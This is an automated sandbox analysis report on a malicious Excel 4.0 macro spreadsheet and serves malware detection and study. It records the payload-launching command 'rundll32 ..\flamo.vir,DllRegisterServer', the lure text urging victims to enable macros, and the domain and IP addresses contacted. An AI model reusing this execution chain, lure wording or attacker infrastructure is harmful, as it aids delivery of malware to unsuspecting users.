Play interactive tour

Edit tour

Windows Analysis Report statistic-1496367785.xls

Overview

General Information

Sample Name:	statistic-1496367785.xls
Analysis ID:	441923
MD5:	7fb48e03b899f792be6c3118a46c5c8f
SHA1:	55445d13cd433121c6c2bfb31414b08e31e28a65
SHA256:	1c818433e1ca49729f987b3f060b2133c8375f8164181c4684600a278ee6033f
Infos:
Most interesting Screenshot:

Detection

Hidden Macro 4.0

Score:	80
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for submitted file

Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)

Document exploit detected (UrlDownloadToFile)

Document exploit detected (process start blacklist hit)

Found Excel 4.0 Macro with suspicious formulas

Found abnormal large hidden Excel 4.0 Macro sheet

Sigma detected: Microsoft Office Product Spawning Windows Shell

Yara detected hidden Macro 4.0 in Excel

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

Potential document exploit detected (performs DNS queries)

Potential document exploit detected (performs HTTP gets)

Potential document exploit detected (unknown TCP traffic)

Yara detected Xls With Macro 4.0

Classification

Process Tree

System is w7x64

EXCEL.EXE (PID: 2116 cmdline: 'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding MD5: 5FB0A0F93382ECD19F5F499A5CAA59F0)

rundll32.exe (PID: 2100 cmdline: rundll32 ..\flamo.vir,DllRegisterServer MD5: DD81D91FF3B0763C392422865C9AC12E)

rundll32.exe (PID: 2224 cmdline: rundll32 ..\flamo.vir1,DllRegisterServer MD5: DD81D91FF3B0763C392422865C9AC12E)

cleanup

Malware Configuration

No configs have been found

Yara Overview

Initial Sample

Source	Rule	Description	Author	Strings
statistic-1496367785.xls	JoeSecurity_XlsWithMacro4	Yara detected Xls With Macro 4.0	Joe Security
statistic-1496367785.xls	JoeSecurity_HiddenMacro	Yara detected hidden Macro 4.0 in Excel	Joe Security

Sigma Overview

System Summary:

Sigma detected: Microsoft Office Product Spawning Windows Shell

Show sources

Source: Process started

Author: Michael Haag, Florian Roth, Markus Neis, Elastic, FPT.EagleEye Team: Data: Command: rundll32 ..\flamo.vir,DllRegisterServer, CommandLine: rundll32 ..\flamo.vir,DllRegisterServer, CommandLine|base64offset|contains: ], Image: C:\Windows\System32\rundll32.exe, NewProcessName: C:\Windows\System32\rundll32.exe, OriginalFileName: C:\Windows\System32\rundll32.exe, ParentCommandLine: 'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding, ParentImage: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE, ParentProcessId: 2116, ProcessCommandLine: rundll32 ..\flamo.vir,DllRegisterServer, ProcessId: 2100

Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Multi AV Scanner detection for submitted file

Show sources

Source: statistic-1496367785.xls	Virustotal: Detection: 37%			Perma Link
Source: statistic-1496367785.xls	ReversingLabs: Detection: 34%

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Source: unknown	HTTPS traffic detected: 162.241.2.112:443 -> 192.168.2.22:49165 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 108.179.232.80:443 -> 192.168.2.22:49168 version: TLS 1.2

Software Vulnerabilities:

Document exploit detected (UrlDownloadToFile)

Show sources

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Section loaded: \KnownDlls\api-ms-win-downlevel-shlwapi-l2-1-0.dll origin: URLDownloadToFileA

Jump to behavior

Document exploit detected (process start blacklist hit)

Show sources

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Process created: C:\Windows\System32\rundll32.exe

Source: global traffic

DNS query: name: psq.com.mx

Source: global traffic

TCP traffic: 192.168.2.22:49165 -> 162.241.2.112:443

Source: global traffic

TCP traffic: 192.168.2.22:49165 -> 162.241.2.112:443

Source: Joe Sandbox View	IP Address: 108.179.232.80 108.179.232.80
Source: Joe Sandbox View	IP Address: 162.241.2.112 162.241.2.112

Source: Joe Sandbox View

JA3 fingerprint: 7dcce5b76c8b17472d024758970a406b

Source: rundll32.exe, 00000003.00000002.2342252530.0000000001C40000.00000002.00000001.sdmp, rundll32.exe, 00000005.00000002.2337705757.0000000001AC0000.00000002.00000001.sdmp

String found in binary or memory: Please visit http://www.hotmail.com/oe to learn more. equals www.hotmail.com (Hotmail)

Source: unknown

DNS traffic detected: queries for: psq.com.mx

Source: E0F5C59F9FA661F6F4C50B87FEF3A15A.0.dr	String found in binary or memory: http://apps.identrust.com/roots/dstrootcax3.p7c
Source: E0968A1E3A40D2582E7FD463BAEB59CD0.0.dr	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl04
Source: 77EC63BDA74BD0D0E0426DC8F8008506.0.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: rundll32.exe, 00000003.00000002.2342252530.0000000001C40000.00000002.00000001.sdmp, rundll32.exe, 00000005.00000002.2337705757.0000000001AC0000.00000002.00000001.sdmp	String found in binary or memory: http://investor.msn.com
Source: rundll32.exe, 00000003.00000002.2342252530.0000000001C40000.00000002.00000001.sdmp, rundll32.exe, 00000005.00000002.2337705757.0000000001AC0000.00000002.00000001.sdmp	String found in binary or memory: http://investor.msn.com/
Source: rundll32.exe, 00000003.00000002.2342442297.0000000001E27000.00000002.00000001.sdmp, rundll32.exe, 00000005.00000002.2337877607.0000000001CA7000.00000002.00000001.sdmp	String found in binary or memory: http://localizability/practices/XML.asp
Source: rundll32.exe, 00000003.00000002.2342442297.0000000001E27000.00000002.00000001.sdmp, rundll32.exe, 00000005.00000002.2337877607.0000000001CA7000.00000002.00000001.sdmp	String found in binary or memory: http://localizability/practices/XMLConfiguration.asp
Source: E0968A1E3A40D2582E7FD463BAEB59CD0.0.dr	String found in binary or memory: http://ocsp.comodoca.com0
Source: rundll32.exe, 00000003.00000002.2342442297.0000000001E27000.00000002.00000001.sdmp, rundll32.exe, 00000005.00000002.2337877607.0000000001CA7000.00000002.00000001.sdmp	String found in binary or memory: http://services.msn.com/svcs/oe/certpage.asp?name=%s&email=%s&&Check
Source: rundll32.exe, 00000003.00000002.2342442297.0000000001E27000.00000002.00000001.sdmp, rundll32.exe, 00000005.00000002.2337877607.0000000001CA7000.00000002.00000001.sdmp	String found in binary or memory: http://windowsmedia.com/redir/services.asp?WMPFriendly=true
Source: rundll32.exe, 00000003.00000002.2342252530.0000000001C40000.00000002.00000001.sdmp, rundll32.exe, 00000005.00000002.2337705757.0000000001AC0000.00000002.00000001.sdmp	String found in binary or memory: http://www.hotmail.com/oe
Source: rundll32.exe, 00000003.00000002.2342442297.0000000001E27000.00000002.00000001.sdmp, rundll32.exe, 00000005.00000002.2337877607.0000000001CA7000.00000002.00000001.sdmp	String found in binary or memory: http://www.icra.org/vocabulary/.
Source: rundll32.exe, 00000003.00000002.2342252530.0000000001C40000.00000002.00000001.sdmp, rundll32.exe, 00000005.00000002.2337705757.0000000001AC0000.00000002.00000001.sdmp	String found in binary or memory: http://www.msnbc.com/news/ticker.txt
Source: rundll32.exe, 00000005.00000002.2337705757.0000000001AC0000.00000002.00000001.sdmp	String found in binary or memory: http://www.windows.com/pctv.

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49189
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49188
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49187
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49186
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49185
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49184
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49183
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49182
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49181
Source: unknown	Network traffic detected: HTTP traffic on port 49204 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49227 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49180
Source: unknown	Network traffic detected: HTTP traffic on port 49279 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49256 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49176 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49199 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49210 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49233 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49179
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49178
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49177
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49176
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49175
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49174
Source: unknown	Network traffic detected: HTTP traffic on port 49262 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49173
Source: unknown	Network traffic detected: HTTP traffic on port 49188 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49172
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49171
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49170
Source: unknown	Network traffic detected: HTTP traffic on port 49245 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49194 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49238 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49251 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49267 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49244 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49187 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49168
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49289
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49288
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49287
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49165
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49286
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49285
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49284
Source: unknown	Network traffic detected: HTTP traffic on port 49286 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49283
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49282
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49281
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49280
Source: unknown	Network traffic detected: HTTP traffic on port 49193 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49239 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49273 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49216 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49250 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49279
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49278
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49277
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49276
Source: unknown	Network traffic detected: HTTP traffic on port 49165 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49182 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49275
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49274
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49273
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49272
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49271
Source: unknown	Network traffic detected: HTTP traffic on port 49222 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49270
Source: unknown	Network traffic detected: HTTP traffic on port 49205 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49171 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49278 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49211 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49269 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49181 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49284 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49200 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49246 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49223 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49281 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49275 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49252 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49228 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49241 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49198 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49234 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49217 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49263 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49240 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49206 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49197 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49170 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49212 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49235 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49218 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49268 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49186 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49199
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49198
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49197
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49196
Source: unknown	Network traffic detected: HTTP traffic on port 49285 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49195
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49194
Source: unknown	Network traffic detected: HTTP traffic on port 49201 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49193
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49192
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49191
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49190
Source: unknown	Network traffic detected: HTTP traffic on port 49280 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49229 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49257 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49175 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49192 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49274 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49227
Source: unknown	Network traffic detected: HTTP traffic on port 49185 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49226
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49225
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49224
Source: unknown	Network traffic detected: HTTP traffic on port 49265 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49223
Source: unknown	Network traffic detected: HTTP traffic on port 49288 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49222
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49221
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49220
Source: unknown	Network traffic detected: HTTP traffic on port 49242 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49207 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49191 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49271 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49219
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49218
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49217
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49216
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49215
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49214
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49213
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49212
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49211
Source: unknown	Network traffic detected: HTTP traffic on port 49180 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49210
Source: unknown	Network traffic detected: HTTP traffic on port 49224 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49282 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49276 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49173 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49213 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49259 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49209
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49208
Source: unknown	Network traffic detected: HTTP traffic on port 49230 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49207
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49206
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49205
Source: unknown	Network traffic detected: HTTP traffic on port 49219 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49204
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49203
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49202
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49201
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49200
Source: unknown	Network traffic detected: HTTP traffic on port 49202 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49225 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49231 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49258 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49168 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49174 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49289 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49247 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49264 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49208 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49196 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49236 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49179 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49253 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49270 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49269
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49268
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49267
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49266
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49265
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49264
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49263
Source: unknown	Network traffic detected: HTTP traffic on port 49261 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49262
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49261
Source: unknown	Network traffic detected: HTTP traffic on port 49189 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49260
Source: unknown	Network traffic detected: HTTP traffic on port 49172 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49195 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49237 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49214 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49184 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49220 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49259
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49258
Source: unknown	Network traffic detected: HTTP traffic on port 49266 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49257
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49256
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49255
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49254
Source: unknown	Network traffic detected: HTTP traffic on port 49287 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49190 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49253
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49252
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49251
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49250
Source: unknown	Network traffic detected: HTTP traffic on port 49249 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49203 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49255 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49177 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49272 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49249
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49248
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49247
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49246
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49245
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49244
Source: unknown	Network traffic detected: HTTP traffic on port 49183 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49243
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49242
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49241
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49240
Source: unknown	Network traffic detected: HTTP traffic on port 49248 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49209 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49221 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49254 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49283 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49277 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49178 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49239
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49238
Source: unknown	Network traffic detected: HTTP traffic on port 49243 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49237
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49236
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49235
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49234
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49233
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49232
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49231
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49230
Source: unknown	Network traffic detected: HTTP traffic on port 49226 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49260 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49229
Source: unknown	Network traffic detected: HTTP traffic on port 49215 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49228
Source: unknown	Network traffic detected: HTTP traffic on port 49232 -> 443

Source: unknown	HTTPS traffic detected: 162.241.2.112:443 -> 192.168.2.22:49165 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 108.179.232.80:443 -> 192.168.2.22:49168 version: TLS 1.2

System Summary:

Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)

Show sources

Source: Screenshot number: 4	Screenshot OCR: Enable Editing 11 from the yellow bar above 12 13 Once You have Enable Editing, please click En
Source: Screenshot number: 4	Screenshot OCR: Enable Content 14 from the yellow bar above 15 16 17 ,, WHY I CANNOT OPEN THIS DOCUMENT? 19 2

Found Excel 4.0 Macro with suspicious formulas

Show sources

Source: statistic-1496367785.xls	Initial sample: CALL
Source: statistic-1496367785.xls	Initial sample: EXEC

Found abnormal large hidden Excel 4.0 Macro sheet

Show sources

Source: statistic-1496367785.xls

Initial sample: Sheet size: 8121

Source: rundll32.exe, 00000003.00000002.2342252530.0000000001C40000.00000002.00000001.sdmp, rundll32.exe, 00000005.00000002.2337705757.0000000001AC0000.00000002.00000001.sdmp

Binary or memory string: .VBPud<_

Source: classification engine

Classification label: mal80.expl.evad.winXLS@5/13@2/2

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\Desktop\7BCE0000

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Temp\CVRC33F.tmp

Jump to behavior

Source: statistic-1496367785.xls

OLE indicator, Workbook stream: true

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Process created: C:\Windows\System32\rundll32.exe rundll32 ..\flamo.vir,DllRegisterServer

Source: statistic-1496367785.xls	Virustotal: Detection: 37%
Source: statistic-1496367785.xls	ReversingLabs: Detection: 34%

Source: unknown	Process created: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE 'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\rundll32.exe rundll32 ..\flamo.vir,DllRegisterServer
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\rundll32.exe rundll32 ..\flamo.vir1,DllRegisterServer
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\rundll32.exe rundll32 ..\flamo.vir,DllRegisterServer	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\rundll32.exe rundll32 ..\flamo.vir1,DllRegisterServer	Jump to behavior

Source: C:\Windows\System32\rundll32.exe	Automated click: OK
Source: C:\Windows\System32\rundll32.exe	Automated click: OK
Source: C:\Windows\System32\rundll32.exe	Automated click: OK

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Source: statistic-1496367785.xls

Initial sample: OLE indicators vbamacros = False

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
